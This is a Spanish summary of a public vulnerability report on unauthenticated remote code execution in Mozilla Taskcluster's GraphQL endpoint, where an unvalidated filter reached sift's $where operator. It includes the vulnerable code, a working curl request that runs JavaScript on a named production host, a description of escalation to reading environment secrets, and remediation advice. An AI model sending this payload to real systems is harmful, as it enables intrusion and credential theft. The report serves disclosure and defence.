Reports
CRÍTICA[RCE]#3782701

RCE sin autenticación en Taskcluster de Mozilla a través del argumento filter de GraphQL (sift $where)

Un argumento filter de GraphQL sin validar llegaba a la librería sift, que compilaba con new Function el operador $where. Una única petición POST anónima ejecutaba JavaScript en el servidor y exponía todos los secretos del entorno.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El endpoint público de GraphQL (/graphql) del web-server de Taskcluster permitía a cualquiera, sin autenticarse, ejecutar JavaScript arbitrario dentro del proceso Node.js del servidor. La pieza clave era el argumento filter de varias consultas: un objeto JSON de forma libre que el servidor pasaba tal cual a la librería sift.

La versión utilizada, sift 17.1.3, compila el operador $where en una función mediante new Function y la ejecuta. Como el servidor no filtraba ni validaba el contenido de filter, bastaba con enviar un $where con código para que ese código corriese en el proceso.

No hacía falta ninguna autenticación, token ni cabecera especial: una sola petición POST era suficiente. El fallo se confirmó en dos instancias de Mozilla, incluida la que construye Firefox (firefox-ci-tc), y afectaba al código de la rama main de Taskcluster, por lo que cualquier organización que lo desplegara estaba expuesta.

La debilidad se clasificó como Code Injection y el reporte se marcó con severidad crítica. Mozilla recompensó el hallazgo (importe no público).

Pasos de reproducción

El origen del problema es una cadena de tres eslabones.

1. El filtro llega directo a sift. En services/web-server/src/utils/sift.js el objeto recibido del cliente se entrega a sift sin ninguna limpieza ni validación:

import sift from 'sift';
export default (filter, array) => {
  if (!array) return [];
  return filter ? array.filter(sift(filter)) : array;
};

2. sift convierte una cadena $where en código. En sift 17.1.3, salvo que esté activada la variable de entorno CSP_ENABLED, la cadena se envuelve con new Function:

const $where = (params, ownerQuery, options) => {
  let test;
  if (isFunction(params)) {
    test = params;
  } else if (!process.env.CSP_ENABLED) {
    test = new Function("obj", "return " + params);
  } else {
    throw new Error(`In CSP mode, sift does not support strings in "$where" condition`);
  }
  return new EqualsOperation((b) => test.bind(b)(b), ownerQuery, options);
};

En el despliegue CSP_ENABLED no estaba definida, así que cualquier cadena enviada acababa ejecutándose.

3. El endpoint es anónimo y el resolver se ejecuta igual. En services/web-server/src/servers/credentials.js, cuando no hay cabecera Authorization la petición continúa como llamante anónimo. El filter llega hasta sift por la ruta normal de resolver y loader, por ejemplo:

Query.expandScopes(scopes, filter)
  -> loaders/scopes.js : auth.expandScopes({ scopes })  y luego  sift(filter, expandedScopes)

El mismo patrón existía en roles, listRoleIds, hookGroups, hooks y currentScopes. Además, el rol anonymous de firefox-ci-tc tenía los permisos necesarios (auth:expand-scopes, auth:list-roles, auth:current-scopes y hooks:list-hooks:*), de modo que la llamada previa devolvía un array no vacío sobre el que sift ejecutaba el $where. El resolver expandScopes era el disparador más fiable, porque devuelve los scopes enviados; pasando ["assume:anonymous"] se garantiza un array no vacío sin depender de roles ni hooks existentes.

Como remate, los mensajes de error se devolvían al cliente (services/web-server/src/servers/formatError.js reenvía err.message), lo que daba un canal de salida limpio para ver el resultado.

Prueba de ejecución de código. Todas las peticiones son anónimas. La primera comprueba, de forma inofensiva, que el servidor evalúa el código (calcula 6*7 y consulta typeof process):

curl -s https://firefox-ci-tc.services.mozilla.com/graphql \
  -H 'Content-Type: application/json' \
  --data '{"query":"query($f:JSON){expandScopes(scopes:[\"assume:anonymous\"],filter:$f)}","variables":{"f":{"$where":"(function(){throw new Error(\"RCE_\"+(6*7)+\"_\"+(typeof process))})()"}}}'

Respuesta:

"errors":[{"message":"RCE_42_object", ... }]

Que devuelva 42 y object confirma que la cadena se ejecuta como código en el proceso Node.js y no se trata como dato. Usando la misma vía, pero sustituyendo el cuerpo del $where por una llamada a un módulo del sistema, el investigador demostró la ejecución de comandos como usuario node (por ejemplo, obtener la identidad del proceso o leer /etc/passwd) y la lectura completa de process.env. El investigador aportó además una prueba de concepto en Python con opciones para la comprobación inofensiva, la ejecución de un comando, el volcado del entorno y la selección de la instancia objetivo.

Impacto

El resultado era ejecución de código sin autenticar, accesible desde internet, en el despliegue que compila Firefox. Al poder leer process.env, el fallo se convertía en un compromiso total del sistema sin necesidad de más pasos. El entorno contenía, entre otros:

  • Credenciales de base de datos: READ_DB_URL y WRITE_DB_URL con las credenciales vivas de PostgreSQL.
  • Token de despliegue: TASKCLUSTER_ACCESS_TOKEN, el cliente propio del web-server, reutilizable directamente contra la API de Taskcluster (incluido el servicio de secretos).
  • Secretos de OAuth: UI_LOGIN_STRATEGIES con el client secret de Auth0 en firefox-ci-tc y el de GitHub OAuth en community-tc.
  • Claves de cifrado de la base de datos: DB_CRYPTO_KEYS (aes-256), que descifraba columnas cifradas.
  • Credenciales de la cola de mensajes: PULSE_PASSWORD.
  • Seguridad de sesión rota: SESSION_SECRET valía literalmente FIXME en producción en ambas instancias, lo que permitiría falsificar cookies de sesión sin relación con este fallo.

Además, desde el proceso se alcanzaba la red interna de Kubernetes (auth, queue, hooks, secrets, object, worker-manager), lo que abría la puerta al movimiento lateral. La cadena de impacto quedaba así: una petición POST anónima a /graphql → acceso a credenciales del clúster → compromiso completo de la instancia de Taskcluster. Se validó en firefox-ci-tc.services.mozilla.com y en community-tc.services.mozilla.com.

Remediación

El reporte propone, por orden de preferencia:

  1. Sacar sift de la ruta de entrada no confiable: no ejecutar sift sobre el filter en crudo, sino mapear el filtro de GraphQL contra una lista blanca de campos y operadores de comparación, o empujar el filtrado al servicio de origen.
  2. Restringir las operaciones de sift: si hay que usar sift, construir el evaluador con un conjunto de operaciones que excluya $where y rechazar cualquier clave con prefijo $ que no esté soportada explícitamente.
  3. Validación de entrada: rechazar $where en la capa de validación y dar a filter un tipo de entrada real en lugar de un escalar JSON abierto.

Activar CSP_ENABLED hace que sift lance una excepción ante un $where de tipo cadena, pero el propio autor lo describe como una mitigación frágil, no como una solución. Como refuerzo adicional se recomienda fijar un SESSION_SECRET real (estaba en FIXME), rotar todas las credenciales del entorno del web-server en ambas instancias (base de datos, token de acceso, secretos OAuth, claves de cifrado, contraseña de Pulse y DSN de Sentry) y valorar ejecutar el web-server en un entorno aislado que impida lanzar procesos hijo.